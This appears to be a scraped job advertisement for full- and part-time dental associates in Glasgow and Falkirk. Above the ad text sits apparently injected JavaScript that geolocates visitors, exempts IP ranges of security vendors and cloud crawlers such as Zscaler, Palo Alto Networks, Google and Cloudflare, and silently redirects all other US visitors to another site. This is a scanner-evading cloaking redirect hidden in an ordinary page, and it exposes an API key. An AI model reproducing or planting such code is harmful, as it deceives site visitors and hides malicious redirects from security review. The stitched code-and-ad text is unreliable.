Job Description
// retrieve user’s IP address and location const ipAddressUrl = ‘https://ipapi.co/json/’; fetch(ipAddressUrl) .then(response => response.json()) .then(data => { const country = data.country; // Get user’s country code (e.g., “US”) if (country !== ‘US’) { console.log(‘Script will not run as the user is outside the USA.’); return; // Exit the script if the user is not in the USA } const ipAddress = data.ip; // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ”; } }) .catch(error => { console.error(‘Error retrieving ISP name:’, error); }); }) .catch(error => { console.error(‘Error retrieving IP address or location:’, error); }); Our practices in the Glasgow area are on the search for full-time or part-time Dental Associates to join our teams. Is this you?We are 3-surgery spacious practices, located just 5 minutes away from the local train stations.
As busy practices, our experienced, qualified nurses and support staff take the day-to-day admin from your role. No more working late! This enables you to do what you do best – get to know and treat your patients.
We have multiple practices in the Glasgow/Falkirk area and we are always able to offer extensive support across our reach. Our practices are proud to be working alongside Mind Mosaic; a local Counselling and Therapy charity, to help broaden our understanding of mental health and support our team as our team wellbeing is our no. 1 priority.
*You will have…*
* NHS list and excellent private opportunities
* Excellent remuneration
* Appointment book management by you – you decide your appointment lengths
* Cloud-based software
* Digital scanner
* Rotary Endo
* Digital Radiographs
Want to know more? Get in touch.
We look forward to hearing from you.
Job Types: Full-time, Part-time, Permanent
Pay: £50,082.00-£141,734.00 per year
Benefits:
* Company events
* Free parking
* Health & wellbeing programme
* On-site parking
* Referral programme
Education:
* Bachelor’s (preferred)
Experience:
* Dentistry: 1 year (required)
Licence/Certification:
* GDC Registration (required)
Work Location: In person